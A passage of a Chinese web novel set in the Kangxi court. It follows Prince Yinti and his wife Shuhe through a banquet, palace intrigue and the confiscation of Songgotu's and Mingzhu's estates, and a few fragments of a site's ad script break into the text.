那模样,看的胤礽手痒痒的,都想也学着他这样捞摸皇阿玛手底下的两个人试试,感觉是不是这么好了,还是最后想到朝堂上的人以后都是自己的才好悬止住这股心思。 “哦,对了,索额图那边我搞不定,等事情终了,你记得给他写封信。” 胤礽不可置信的瞪大眼睛,明珠就算了,索额图可是他叫一声叔父的人! 因着过于震惊,胤礽脱口而出一句话:“你捞摸皇阿玛的人不够,连孤的叔父都不放过?” “话别说的那么难听,我这可是在帮你?” “呵,帮我?”胤礽直接被气笑了,他就没见过这样帮人的! 面对胤礽冒着怒火的眼神,胤褆面不改色的忽悠道:“你想,我手底下真聚了不少人,你肯定慌啊,但是这里面要是有个你的人,还是绝对不可能背叛你的人,你是不是会放心一点?” 即使明知胤褆在忽悠自己,胤礽还是不受控制的点了点头。 “那现在,你给索额图写信吗?” 胤礽一咬牙、一闭眼,“……写!” 出门一趟,叔父折进去了,就给手底下的弟弟换了个抄家的活,胤礽离开南三所时,脸色都是黑的。 与之相反的是胤褆的脸色,说是春风得意都不为过。 哼着小曲路过几个洒扫太监身边时,胤褆顿住脚步,“你们几个,去把书房打扫一遍,记住,是彻彻底底的打扫一遍!” 虽然现在和太子没有那么不对付了,但是太子待过的地方,不打扫一遍,他心里面到底有点不得劲。 在胤褆和胤礽相继离开书房后,宝石也从空无一人的书房飞了出去,仗着自己飞得快,愣是比胤褆快了几分钟来到后院,将方才听到的对话大略告诉了舒禾。 “舒禾!我接你去参加晚宴了!” 一声大嗓门横空出世,舒禾抬眸看向跑过来的胤褆,拿出手帕擦了擦他额头上的细汗,嗔笑道:“慢点,我就在这,还能跑了不成?” “跑是跑不了,但是我这不是着急见你嘛,好了好了,不说了,赶紧起来,我送你去额娘身边,庆功宴上有额娘看着你,我才能放心。” “我又不是三岁小孩,还非得要跟在额娘身边才丢不了,”说归说,舒禾也没有真的不动 ,淡笑着站起身,理了理衣襟,“好了,走吧。” 胤褆握住舒禾抬起来的手,顺手放到唇边吻了一下,害怕舒禾多想,特意解释道:“不是觉得你没手段或是什么,而是后宫中多算计,难保不会有人看你不顺眼对你下手,额娘对这些有经验。” “不用特意解释这些,我都知道的。” 说话间舒禾掐了一把胤褆腮帮子上的肉,又在上面揉了揉,移开手时,没忍住感慨:“瘦了,都没有以前揉着舒服了。” “前线生活艰苦,瘦些也正常,过段时间就好了。” 言外之意就是,这段时间先不揉,过段时间多揉。 成功领会到言外之意的舒禾有被这样的胤褆可爱到,手指摩擦胤褆的耳骨,笑着点了点头,“那我可就等过段时间验收成果了。” “放心!保证恢复你喜欢的手感……” 27.宫中算计 又笑嘻嘻的打趣了两句,两人就出发了,一路行至延禧宫,路上皆是因晚上聚会而来往匆匆的宫人。 延禧宫门口,看着迎面走来的惠妃,胤褆停住脚步,拍了拍舒禾的头,对惠妃点了点头,“额娘,儿臣将福晋这就交给您了。” “嗯,放心吧,晚上肯定还你一个好端端的福晋。” “舒禾,那我走了?” “嗯,路上小心。” 胤褆笑着道了声会的后,带着李空走了,比较靠谱的李阔被他留下给了舒禾。 目送胤褆走远后,惠妃带着舒禾在延禧宫坐了一会,也出发去了太和殿偏殿。 临近傍晚,太和殿偏殿聚满了女眷,惠妃带着舒禾找到宜妃附近位置坐好,扬着下巴点了点拉着脸的德妃,问宜妃:“她这是怎么了?” “她啊,不服气呢。” 闻言,惠妃不解,舒禾则是有些好奇。 惠妃不解的是都这个年纪了,还能不服什么,总不能是争宠没争过今年新入宫的人不服气吧? 舒禾好奇的则是,能让德妃这样的原因。 不等两人思索什么,宜妃就给出了谜底,“皇上刚才宣布让四阿哥领了份差事,你也知道,在她眼里面,四阿哥比不上养在她身边那个,可不就不服气了。” “啊?”惠妃诧异的瞪大眼睛,看了一眼德妃,那表情,就差没说她这是疯了吗? 先不说其他,单说十四阿哥才两岁,也不能领什么差事吧? 看出了惠妃的想法,宜妃耸了耸肩,“她啊,这心早就偏的没边了。” 要是换成她,甭管是老九还是老五哪个,她都会一脸欢喜的替他们张罗,就算老五没养在她身边,但是他们是母子这一点是母庸置疑的, 像德妃这样,孩子小时候养在其他地方,就认为孩子不是她的,不亲近的,宫里面少有。 要她说,还是生太多了,但凡只有四阿哥一个孩子,也不至于弄成现在这样。 惠妃默了一会,忽然道:“她这拉着一张脸,不知道的还以为她是对皇上不满呢。” “姐姐的意思是?” “我什么意思,妹妹知道不是吗?” 在宫中浸淫多年的两人对视一眼,相视一笑,协议达成。 在一旁看着的舒禾看明白两人的潜在意思后,只觉汗毛直竖,就在这大殿之上,众目睽睽之下,就这么水灵灵的达成了坑人的合作? 垂在下面的手扯了扯惠妃的袖子,小声道:“额娘……” “待会说。”惠妃拍了拍舒禾的手,安抚道。 女眷这边热闹,另一边几个皇阿哥聚到一块也不遑多让。 胤禟和胤誐待在角落一人啃着一块牛肉干,小声蛐蛐着领了差事的胤禛和胤祉。 “四哥和太子交好,太子有事想着他正常,也不知道三哥走了哪门子的狗屎运,居然也捞了个差事做,能时不时的出宫!哼!” “对对对,九哥你说的都对。”胤誐看着胤禟的脸,一脸的欣赏,根本就没听胤禟说了什么,只顾着附和。 他这样,倒把认真抱怨的胤禟气了个够呛抬手就拽住胤誐的耳朵,小声吼道:“对什么对!你听了嘛就对!” “小九,不可这么对弟弟。” 胤禟一脸不爽的扭头,他倒要看看是哪个…… “二……二哥好。”夭寿了,太子什么时候过来的! 胤禟内心哀嚎的同时,不忘扭头瞪胤誐一眼,都怪胤誐不提醒他! 被瞪了的胤誐挠了挠头,他刚才那不是沉溺于欣赏美貌中没顾着看周围嘛。 “小九,怎么就光顾着叫你二哥,把我都给忽视了呢?” 胤禟顺着声音看去,恰好看见胤褆把胳膊搭在胤礽身上,而胤礽没有躲开不说,还往胤褆的方向偏了偏,以便胤褆更好的靠着。 这一幕看的胤禟眼睛都快瞪出来了,自然是记不起来叫人了。 他忘了,胤誐却是没有忘,对着胤褆和胤礽憨笑一声,上前一步将胤禟挡在身后,替他告罪道:“九哥他方才喝了几口酒,现下脑子不怎么清楚,还请两位哥哥勿怪。” 胤褆嗤笑一声,两个九岁的小孩喝酒?他们敢喝,宫人都不敢给他们,不过他到底是没有拆穿。 “行了,你们两个去一边玩吧。”胤褆摆摆手,示意两个弟弟赶紧走,这个角落他们占了。 胤誐眨了眨眼,没说什么,拉着胤禟就跑了,胤禟倒是想说什么,但是嘴被胤誐捂住了说不了。 胤褆和胤礽在这里还没站一会,胤祉和胤禛就找了过来,受了两人一礼后,胤褆就对着胤祉发出了警告。 “皇阿玛把你送到我手底下做事,那么我希望在我手底下时,你身上不要出任何乱子,任何,懂吗?” 胤祉一身书卷气,呆呆的看着胤褆,听了他的话,愣了一下才点头,“懂了。” “懂了就滚吧。” 胤礽看着胤祉离开的背影,“大哥,有时候,对着兄弟几个,还是客气些为好。” “呵——”胤褆冷笑一声,没说自己的猜测,只是以态度表明他就这样,变不了。 见状,胤礽摇了摇头,不再强求,转而对着胤禛嘱咐起来,看着胤禛乖乖点头的模样,不觉一阵欣慰。 暗流涌动中,晚宴开始了。 一片载歌载舞的欢乐场景,映衬得是底下早已腐朽的官场。 康熙坐在最上面,半眯着眼睛扫视下方,脑海中回想着今天看到的那片名单,端起酒杯抿了一口,仿佛看到了午门前血流成河的场面。 夜半宴会结束,人群三三两两的朝着自己的归处走去,住在南三所的几人在路上不期而遇。 对视的瞬间,互相点了点头,错身而过时,胤褆突然目光一厉,他在胤祉身上闻到了一些有关于性那方面的味道。 要不是身边站着得就是自己怀孕的妻子,他现下已经出手了。 突然,垂在身侧的手被另一只温热的手碰了碰,胤褆恍然间回过神才意识到他就这么停住了脚步。 对一脸担心的舒禾摇了摇头,“没事,就是酒意有些上头,回去喝碗醒酒汤就好。” “嗯,回吧。”舒禾并不信胤褆所说的酒意上头,但是这里也不是说话的地,只能点头应下。 回到院落,两人张着手臂任由宫人褪去手上的朝服,待到只余里衣后,胤褆摆摆手挥退了宫人。 看着自己拆卸首饰的舒禾突然问道:“今天荣妃身边跟了哪几个宫女你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 知道吗?” “荣妃?” 胤褆说话时,舒禾还在想,太和殿空间太大了,找了许久都没有看见入宫的阿玛和额娘在哪,这么久不见,也不知道是否还安好,还有交代两个哥哥办得事也不知道办得怎么样了。 因此,回话时就慢了半拍,不自觉重复了一遍。 大脑反应的同时,手上不忘将刚拆下的簪子放到首饰盒中,一边回想了一下在偏殿中见到的荣妃一边道:“知道,今天她身边就跟了四个宫女。” “其中,面容姣好者几何?” “面容姣好的……有两个,你问这个做什么?” “啧,我怀疑老三回来之前和后宫里面的谁那个了。” “哈?”舒禾惊诧的扭过头,拆到一边的簪子就那样僵在了半空中,“他那么大胆吗?不过你怎么就肯定和他一起的是荣妃身边的宫女?” 胤褆上前两步,接手了舒禾拆头饰的工作,一边拆一边道:“那天后,我让李阔私底下打听了一番,发现皇阿玛亲征后,胤祉在荣妃宫里面待的时间长了不少。 而且这事,没人打掩护是干不出来的,只要他不是颅内有疾,就不会选择其他宫里面的宫女。” 就算胤褆这样说了,舒禾还是不解,“不是,他想要荣妃身边的宫女,说一声,让荣妃赏了他不行吗?现在这样偷偷摸摸的,被发现,可是贿乱后宫啊!” “他那猪脑子,估摸着是想尝一把话本里花前月下、偷情、又被棒打鸳鸯的戏码。”殊不知,深宫中行差一步就不是棒打鸳鸯而是直接杖杀。 胤褆抬手将最后一件首饰扔到盒子里面,“改天有时间了,我提点他两句,免得这么早就失去一个兄弟。” 舒禾透过镜子看着为自己梳头的胤褆,眼神幽幽,“你就不怕他不是和宫女,而是和宫妃?” “呵,他那胆子,不敢。” “不敢?”舒禾喃喃道:“人就没什么不敢的,单看那事值不值得罢了……” “好了,不说他了,再说他我可就要不开心了,头发梳好了,来,我抱你去洗漱。” 说着,胤褆弯下腰抱住舒禾起身朝着位于后方的洗漱间而去,可以坐两个人的大桶此刻正泛着袅袅的热气。 两间里衣被扔到一边,隔着影影绰绰的雾气,胤褆渐渐贴近了相比于三个月前,丰腴了不少的舒禾。 大掌缓缓抚摸着微鼓的小腹,想到底下是两人血脉相连的孩子,胤褆就有一种难言的感觉。 低头吻住光洁的额头,本想问:‘瞒着我的事,什么时候可以告诉我?’ 转念一想,这大晚上的,问了恐怕就睡不着了,索性也歇了心思,只简单洗漱一番,就抱着人上了床。 大被一盖,烛火一吹,房间内顿时陷入昏暗,舒禾窝在胤褆怀里面,听着胸膛下如擂鼓一般的心跳声,想到方才看到的那双眼睛,只感觉心口一颤。 她知道她在胤褆面前伪装的并不算是完美,她也在等着胤褆问。 可是就在刚刚,她都看出了胤褆眼里面想要询问的意思,却没想到,到最后,胤褆都没有问什么。 这一刻,她是疑惑的,到底是为什么放弃询问呢?难道他就不好奇、不愤怒自己都被隐瞒了什么吗? 28.抄家预备备 单纯害怕问了会让舒禾睡不着的胤褆,此刻搂着洗漱过后香软的舒禾睡着了,徒留舒禾因为不解生生过了许久才睡过去。 次日一大早,胤褆精神满满的睁开眼睛,垂眸看向趴在他身上的人,弯眸一笑,小心翼翼的抽出手,又在舒禾额头上亲了一口方才起身。 走到门口打开门,对着守在门口的宫人淡声道:“备水。” 转而又对着欲进屋的秋雨等人摆了摆手,“福晋还未醒,不必进去。” 说完就去了旁边那间屋子,在胤褆离开后,得到吩咐的宫人,纷纷行动起来,只是因着后半句,动作不由自主的放轻了许多。 洗漱过后,简单吃了点东西,胤褆就带着李阔赶早朝去了。 说到这个早朝,胤褆就头疼,有时候他都怀疑这个早朝存在的意义是什么,感觉就是单纯用来折腾人的。 真的有大事,不会在早朝上说,都是直接面圣。 一屁点的小事,也不会放到早朝上说。 不大不小的事,说了,没什么大用。 抱着一腔怨气,胤褆到了地方一看,乐了,皇子里面除了他和太子,新添两员大将——胤禛和胤祉。 和两人打了个招呼后,胤褆走到太子旁边站定,对着太子微微颔首,一派倨傲模样。 看得周围看着的大臣暗暗点头,太子和大阿哥一如既往的针锋相对,昨天宴会上的和谐相处,果然是他们眼花了! 面对胤褆的倨傲,胤礽也不在意,还是那一句话,跟傻子计较,拉低档次。 等康熙来了,就看到昨天合力检举两位大臣的儿子又开始了针锋相对。 不由得挑了挑眉,想道:昨天那场景,是他们两个合力布局什么的,果然都是错觉。 康熙放在龙椅一侧的手动了动,轻声道:“梁九功。” 得到指令,原本站得靠后一点的梁九功向前两步,从袖中掏出两封圣旨,高声念道:“纵容手下人买官买官,有失职之责;收受贿赂,有……今,判处赫舍里.索额图抄家、三族流放、斩立决,但念及忘年功绩,仅行抄家之事、贬为庶民。 另有纳兰.明珠结党营私证据确凿,按律斩立决、夷六族,同样念其往年功绩,仅行抄家之事、贬为庶民。” 说完,梁九功看着底下已经呆愣当场的索额图和明珠,微微一笑,“索大人,明珠大人,接旨吧。” 索额图和明珠两个老宿敌对视一眼,眼中满是不解,皇上现在动他们,是准备要干嘛? 心中满是不解,然两人没有抗旨的胆,遂跪下谢恩,“草民谢皇上恩赐。” 听了两人的话后,康熙摆摆手,立马就有人带着他们两个去了其他地方,卸冠,官位什么的已经被罢免了,那么这身官服就穿不得了。 索额图和明珠走后,下面还有人没回过神来。 不过康熙可不觉得自己有顾及他们的义务,给了梁九功一个眼神,梁九功当即打开下一封圣旨念了起来。 “朕之三子,胤褆、胤祉、胤禛,机敏聪慧,可堪大用,然安事之年,无其用武之地,特令其暂领抄家之职、兵部、刑部尚书协助,分负索、明两府。” 以胤褆为首,三人上前一步跪下,异口同声道:“儿臣领旨。” 领完旨,胤褆上前接过下来的梁九功递过来得圣旨,退回去站好。 听完剩下半场无聊的早朝后,一出门,胤褆就被一群战战兢兢的官员给围住了。 听他们话里话外全在打听和这事有关的消息,胤褆不耐烦地皱了皱眉,“各位,这么关心这件事,爷替你们去问问皇阿玛如何?” “哎不用了不用了……” “不敢不敢……” 见他们个个口称不敢或者什么的,胤褆冷哼一声,环视一圈,冷声道:“那还不让开!” 出了众臣的包围圈,胤褆找到一边同样被围着的两个弟弟,扬了扬下巴,示意他们两个跟上。 带着他们两个就去了御书房,御书房内,康熙刚刚坐定,就听到梁九功来禀,胤褆他们几个来了。 一听到胤褆的名字,康熙就感觉头疼,抬手揉了揉眉心,摆摆手,“让他们几个进来。” “儿臣参见皇阿玛,给皇阿玛请安,皇阿玛……” 不等胤褆几人说完请安的话,康熙就打断道:“起。” 康熙扫视一圈,见胤祉和胤禛一脸得茫然,就知道他们两个不是主谋了,将视线定在胤褆身上,张口问道:“说说,干什么来了。” “儿臣想着好不容易出宫一趟,自己一个人忒没趣,所以就想奏请皇阿玛,让儿臣带着福晋一起。” “胤褆,这是你的主意还是你福晋的主意?” “自然是儿臣的。” “行了,朕允了。” “儿臣叩谢皇阿玛!”胤褆一脸高兴的跪下行礼。 “既无其他事,就走吧。” “是!” 胤祉和胤禛一脸蒙圈的跟着来,又一脸大受震撼的跟着走。 回到南三所,胤褆看了看天色,扭头对着两个弟弟正色道:“午时在午门处见面,别迟到。” “大哥,我们知道了。” 胤褆看了一眼代胤禛应话的胤祉,想到他做得那些事,眉心微蹙,“你跟着我回去……” “算了,你们两个都跟着我回去。” 只带一个回去,搞得跟他联合其中一个孤立另一个一样。 胤褆带着两个皇阿哥回来的消息,被提着膳食回去的孙朝看见,一早的就带了回去。 因此,等胤褆回去,就看见了等在一边大门口的秋雨,秋雨依次对着几兄弟行礼过后,转而面对着胤褆道:“爷,福晋在正院给您准备好了膳食,份量不少。” “嗯,我知道了,你回去告诉福晋,午时前三刻到正院,午后出宫。” “是。” “福晋准备的多,三弟和四弟一起吃点?” “如此,就多谢大哥好意了。” “谢大哥。” “一点膳食不值当谢,走吧。” 胤褆打头走近了正院,胤祉和胤禛随后,用过膳后,胤褆提溜着胤祉朝他平时练武的地方走去。 走到一半,想起什么似的,回头,“四弟可要一起?” “不了不了。”胤禛连连摆手道,练武他可以,但是跟着老大一起练武什么的还是算了。 而且,不知道是不是他的错觉,比起练武,感觉更像是老大对老三忍无可忍,准备出手收拾他一顿…… 事实证明,胤禛想得是一点错没有。 两刻钟后,胤褆大刀阔斧的坐在椅子上,拿着桌上的茶盏喝了一口,转眼看到瘫在地上半死不活的胤祉,烦得翻了个白眼。 “行了,刚才我都没用力,别装了。” 真得没装的胤祉苦笑出声,“大哥,你看我这样,像装的吗?” “没装?”胤褆诧异的挑眉,转瞬间下了判断,“那就是你太弱了,还不如老四。” 听到不如胤禛,胤祉撑着一口气从地上爬起来,坐到一边的椅子上。 坐下的瞬间,不小心碰到伤口,刚想喊痛,对上胤褆嘲弄的眼神,胤祉把即将出口的痛呼声咽下。 “大哥,我技不如人,这一顿打我认,但是你刚才那样,明显是逮着机会想要……” 在胤褆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 威胁的目光下,胤祉咽下后半句,扯了扯嘴角,无奈道:“总得告诉弟弟,为什么要打我吧?” “你自己做了什么,你自己心里面没数?”胤褆反问胤祉。 “我能干什么,我就一光头阿哥,平时……” 见胤祉话说到一半不说了,胤褆放下手中是茶盏,冷哼一声,“想起来了?” “我、我……我真没干什么——” “后宫,荣额娘宫里,再具体的,还需要我说?” 胤祉擦了擦额头上冒出来的冷汗,摇了摇头,“不、不用了,我认,我全都认。” “认什么认!回头,找个借口,把那宫女要过来,这事就算完了。” 胤褆语气里面满是恨铁不成钢,他怎么就有这么个不经点播的弟呢! “好、好,我找额娘要过来,给大哥……” “给我干什么!带回你自己院子!蠢货!” “可是……” “可什么是!滚滚滚!” 他好心点播胤祉,结果胤祉却想恩将仇报,害他家宅不宁,果然,这好人就不能随便做,一不小心就把自己搭上了! 胤褆一甩袖站起身,“刚才的话,都给我咽到肚子里,但凡我在其他地方听到只言片语,小心你的头,我先出去了,你收拾好仪容再出去。” 午时过,四人从午门出宫,胤褆对着提出告别的胤禛点了点头,“明珠那边,你帮我把这个带给他。” “好,大哥再见。” 眼见着胤褆对胤禛的好脸色,刚被揍没多久的胤祉撇了撇嘴,满眼的不服气,不过这些不服气在胤褆看过来之际,瞬间转换为讨好的笑意,唯恐再被按住揍一顿。 刚才那顿打也不知道怎么回事,明明浑身上下都疼,但却愣是看不见半分青紫,弄得他想要告状都找不到证据。 并不知道胤祉还有心思告状的胤褆,一见他笑就烦,“你,坐后面那辆马车去。” “这辆马车挺大的,坐三个人应该……” 在胤褆逼视的目光下,胤祉的声音渐小,最后干脆息了声,老老实实朝后面那辆马车走去。 胤祉走了,胤褆自然地收起脸上冷酷的表情,换上一副笑模样,“舒禾,我扶你上去。” 舒禾抬手握住胤褆扶她的手,踩着凳子接力上了马车,胤褆紧随其后。 主子们都上了马车,车夫一甩马鞭,马儿扬蹄打了个响嚏,迈开步子带着身后的晃晃悠悠朝目的地走去。 马车内,胤褆坐在舒禾身侧,环着她的腰,一脸担心的问道:“怎么样?有没有头晕想吐?” “没有,一切都挺好。” “那就好,”胤褆舒了一口气的同时,也说起了一会的行程,“去索额图府上会路过兵部尚书府,我把你放下,等晚上回宫再带你回去,这段时间,你可以好好跟父母聚聚。” “可是……这个时间,我阿玛应该在当值吧?” 胤褆把这句话在脑子过了一圈,方才想起,兵部尚书平时要在兵部当值,今天虽说因为圣旨不需要在兵部当值,却也是需要在抄家现场的。 手指轻叩车壁,于转瞬间就下了决定,“你阿玛今天跟我们一起抄家,不在兵部当值,这样,你跟我一起去抄家,顺便见见你阿玛,至于你额娘,下午咱们早点走,留老三在那稳住局面。” “一起去抄家?”舒禾重复了一遍这几个字,眼里面闪过一丝兴味,“好像也不是不行,哎,那抄家都需要做什么?” “抄家啊,也简单,只需要……这样,再……” 两人说得兴起,连一会踹门后摆什么姿势都想好了,却都不约而同得忽略那已经鼓起来肚子。 29.抄家进行时 下了马车,看着大开的府门,和等候已久的索额图、科尔坤等人,夫妻两个对视一眼,默默收回了那蠢蠢欲动想要踹门的脚,端正姿态,对着前来行礼的众人微微颔首,叫了声起。 其中,舒禾看着弯腰行礼的阿玛,没忍住在他抬头时,对着他眨了眨眼,成功收获来自亲阿玛没好气的一撇。 舒禾撇了撇嘴,收回视线,站在胤褆身侧,目不斜视的看着前面,一副正经模样。 却只有科尔坤知道,这是生气了,不哄的话,没个十天半个月是好不了了。 想到往日哄孩子的模样,科尔坤嘴角扬起一抹淡笑,看得旁边的张玉书一阵莫名其妙,不知道他这是又抽了哪门的风。 下朝后就收到太子传讯的索额图丝毫不慌,悠悠然行完礼,一马当先走在前面带路。 “这些年买官卖官所得,我皆以命下人抬至库房,各位,一会直接搬走就是,至于名单,早已交至太子手中,诸位若觉得有什么不妥,只管找太子就是。” 言外之意就是,老子现在虽然没官位了,但是和太子的关系还在,真的想动我,还是要过太子那一关。 科尔坤眉头紧锁,看着胤褆的背影欲言又止,就怕胤褆听不得这些,直接对着索额图出手,万一索额图有了什么好歹,太子和大阿哥可就要真的到不死不休的地步了。 倒不是科尔坤觉得索额图对太子多么重要,而是当朝者,哪个不看重自己的脸面? 索额图如今虽被贬为庶民了,但他和太子到底有一层关系在。 科尔坤看一眼胤褆身侧跟着的舒禾,期望着舒禾能够回头,他好传达点什么信息。 “索额图啊……” 听到胤褆的声音,科尔坤眼睛一闭,内心有一种来了来了,他终于来了的感觉。 “你这府邸不错,沿途雕梁画栋、戏水楼台一个不少,占地面积也大,就是抄家后,怕是养不起了吧?” 嗯?不应该直接开打吗?这都说的什么! 索额图同样和科尔坤一样摸不着头脑,但是他还能端得住,“回大阿哥,养不养得起,都是要养的。” “啧,这么好的宅院,若是荒废了,挺可惜的,不如你低价卖给爷吧?” 胤祉瘫着脸看着不对劲的大哥,上前几步,拽住胤褆的袖袍提醒道:“大哥,抄家!咱们抄的是所以东西!这处宅子,理论上说,已经属于官府了,你就算是真的想买,也得找官府买!” 此话一出,全场静寂,索额图开库房门的手顿住,回头看向胤祉,半晌,忽地扬起一抹笑,“没想到三阿哥对现今的律法规定如此熟悉。” 胤祉嫌弃的瞟了一眼索额图,眼里面满是‘这还用你说的?’的意思。 看得胤褆啧啧称奇,俯身凑到舒禾耳边小声道:“我之前单知道老三读书读傻了,没想到他能傻到这种程度。” “你一会看着些,别真的让他把索额图得罪狠了,瘦死的骆驼比马大。” “放心,我揣着尚方宝剑呢。” 舒禾不解的皱了皱眉,“尚方宝剑?” “太子写给索额图的信。” 两人小声嘀咕完后,胤褆正了正神色,一手捏住胤祉的脖子,对在场的所有人点了点头,“三弟年少,不懂事,我这个当哥哥的去教教他,至于里面,暂由两位尚书负责。” “是。” 目送胤褆拉着女儿提溜着三阿哥走后,科尔坤收回视线,对上张玉书看好戏的眼神,没好气的看回去,“看什么看!干活!” “知道了知道了。” 僻静的角落,胤褆松开提溜着胤祉后脖颈的手,抬脚踢踢一被松开就蹲下开始自闭的胤祉,“哎,干什么呢。” “我能干什么!我什么都不干!你们根本就不遵守律法!我要找皇阿玛告状!” “……你要告状的话都说出来了,我还能放你回去?” 胤祉没有听出胤褆话里面的无语,只当是自己真把他惹恼了,起身就跑,一边跑一边道:“你若是杀了我,皇阿玛不会放过你的!” “我特……”胤褆深吸一口气,压下欲出口的粗俗话,一摸福晋的头发,低声道:“我去把他逮回来,舒禾你乖乖的,在这等我。” “嗯,放心吧。” 胤褆捏了捏舒禾的脸,随后朝身后喊道:“李空,过来守着福晋!” 待到李空就位,舒禾这边有人看着了,胤褆才抬步朝胤祉离开的方向追去。 没追多远,就看到了翻墙翻到一半,卡在墙上下不来的胤祉。 看到这样的胤祉,胤褆是真想掉头就走,再不承认有这么个弟弟,无他,单纯得嫌弃丢人。 胤祉骑墙的姿势虽说不雅,但是他也跑不了了,是以,胤褆也没想着现在就把他放下来,而是直接开始了说教。 “索额图是太子的人,太子不倒,索额图就算是庶民也会有人捧着他,抄他的家和抄别人的家不一样,可以抄,但是不能全抄……” “皇阿玛知道?” 话说到一半被打断,烦的胤褆额头青筋直冒,也就是胤祉现在在墙上,但凡在地上,他早一拳过去了。 “知道,这事涉及的方面比较广,你没事别插手,跟在两位尚书身后,只看不说,权当攒攒经验,以后行事灵活些。” 在发现买官买官的事时,钱不钱的就已经没那么重要了,重要的是那份买官名单,哪些人是没有真才实学全靠花钱有的官位。 而这份已经被太子和他交了上去,皇阿玛是知道没有太子和索额图的情分,仅凭他和太子拿不到那份名单。 所以抄家这事,说是全朝上下都睁一只眼闭一只眼也不为过。 不过这些就不用告诉胤祉了,他怕说了,胤祉这书呆子大喇喇是冲到朝堂上和众人吵起来。 “另外我要强调的一点是,我不会杀你,兄弟相残的事,我现在还做不出来,你可以下来了。” 说完,胤褆也不管还在树上小声嘀咕的胤祉,扭头就走了。 胤祉趴在墙上,看着胤褆离开的背影,眼里面满是茫然,“不……不是,就真的不管我了?” 眼瞅着胤褆的背影就快消失不见,胤祉环顾一圈,终于想到这里地处偏僻,一时半会不会有人过来 顾不得什么面子不面子,连忙扯着嗓子开喊,“大哥、大哥!我认错,我都听你的,你找人把我弄下来啊!” 听着身后地喊声,胤褆额头再次暴起一根青筋,顾念着那点子稀缺到快要不存在的兄弟情,到底是找了个下人去把胤祉救了下来。 回到刚才的角落,看着待在原地乖乖等自己的福晋,胤褆收拾好心情,扬起一抹灿烂的笑走过去,“舒禾!” “保清,你回来了,”舒禾抬头看向胤褆,递给他一个手帕,“擦擦汗,咱们接下来干什么?” “接下来先送东西,再去尚书府。” “不在这盯着?” “盯不盯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的没什么要紧,只要该送到的东西送到就行。” 闻言,舒禾蹙眉思索了片刻,迟疑地问道:“那封信?” “嗯,去库房逛一圈,我瞅准时机把信塞给索额图,随后咱们就走。” 说干就干,胤褆带着舒禾一路畅通无阻的进入库房后,直接被里面的金银晃了眼。 看着来来往往搬运着金银的官差,胤褆恨不得把李空也踢过去搬,不过不是往官府搬,而是往他住的院落搬。 闭了闭眼,打破那不存在的虚妄幻想,快步走到索额图身边,拿过他身边的一条珠链在手中把玩。 边把玩边感慨,“这种品质的珍珠,怕是那海里面的吧?就这么串成珠链,索额图,你还真是会暴殄天物啊。” “呃——那依大阿哥看,怎样才不算是暴殄天物?” 胤褆并没有回答索额图的问话,而是略微嫌弃的把珠链扔到索额图怀里,“爷说了,你能找出同样品质的珍珠给爷?” “……不能。” 索额图手心微动,将随着珠链扔过来的信纸藏起来,垂眸思忖,片刻后灵光一闪,仿佛抓到了真相似的,不由自得起来。 这么快就来送信拉拢他了,这明珠也不怎么样嘛,不过他索额图生是太子的人,死了,亦是太子麾下的鬼,大阿哥把主意打到他身上是打错了。 就在索额图准备拒绝胤褆时,一抬头,赫然发现胤褆已经走了。 这一发现,令索额图的眉毛直接皱了起来,给了他信,又走了,这大阿哥到底什么意思?难不成是他猜错了? 胤褆瘫在马车上,抱着独属于自己的福晋,鼻尖萦绕着淡淡得香味,听着外边马蹄落地时的声音,内心前所未有得平静。 侧头亲了亲舒禾的额头,低声道:“跟着我,委屈你了。” “嗯?为什么这么说?” “我放弃了与太子争皇位的机会,大清又没有给亲王封地的制度,以后怕是一辈子就要蜗居在这京城之中,连离开都难。” 听到胤褆这么说,舒禾抬手抚上胤褆的脸,直起身子直视胤褆的眼睛,一字一顿认真道:“不会的。” “什么不会?” “我说,我们的未来,不会是永远蜗居在这京城之中。” “好好好,不会,乖,到尚书房还有段路,我抱着你再歇会。” 这敷衍都摆到明面上了,舒禾就算是不想知道胤褆不信都难,但是口说无凭,她也不欲在这马车上多言。 只在心里面盘算着打算和胤褆坦白说得那些事,删删减减又加了不少,并暗自决定,趁着这次回尚书府,就把该说得都给胤褆说了。 虽说宫里面南三所的人表面上都清理干净了,但到底是不如自家院子里面的人用得放心。 心里面有了盘算,进尚书府简单见过额娘,知道两个哥哥尚且还没有回来后,舒禾就借口累了,带着胤褆去了她之前住的院落。 时隔几个月再次来到从小住到大的院子,看着门口挂着得两个哥哥为她做的灯笼,舒禾眼里面闪过一丝怀念。 到了熟悉的地方,自然是不用守着外人面前得那些礼仪习俗,抬手拉住胤褆的手迈过门槛。 “我带你去我以前住的房间,有事跟你说。” “啊?嗯嗯。” 可怜胤褆后半句话完全没听见心里,注意力全部注意力都集中到了前半句话。 毕竟事情什么的,哪有福晋的闺房有吸引了? 30.选择性坦白 “保清、保清?保清!” 一连三声,胤褆总算是从观察房间内装饰上回过神来,低头看向变得气鼓鼓的福晋,不好意思地笑笑,“舒禾,怎么了?” “你刚才想什么呢,那么入神?” “没……没想什么啊。” 闻言,舒禾无语的翻了个白眼,但凡你这语气再肯定一点、眼神不漂移一点,我说不定就信了。 松开握着胤褆的手,走到椅子上坐下,拍着身边的椅子对胤褆招了招手,“过来。” “哦哦,过来了,然后呢?” “然后认真听我说话,”看着坐在椅子上满脸乖巧的胤褆,定了定心神,徐徐道:“你知道桃清商行吗?” “知道啊,号称大清规模最大、最有钱、背后的人最有势力的那个嘛,怎么了?” 舒禾刚想说那是我开的,就见胤褆整个人从椅子上跳起,满脸惊悚的看着她,脱口道:“那商行该不会是索额图开的吧!” “啊?” “嘶——之前没细想,现在仔细想想,我那些形容词用来形容索额图可不就是正好,舒禾……哎?舒禾你脸色怎么这么难看?” 为什么这么难看你心里面没点子数?猜答案猜得错到离谱就算了,怎么还带刻板印象呢?那些形容词就只能形容索额图那种老帮菜?就不能形容漂漂亮亮的我? 深吸一口气,压下满心的烦闷,咬牙道:“桃清商行,我开的。” “……完了,全完了!” 这丧气话说得,气得舒禾一拍桌子站起身,瞪着胤褆,“怎么就完了,今天不说清楚,咱们两个没完!” 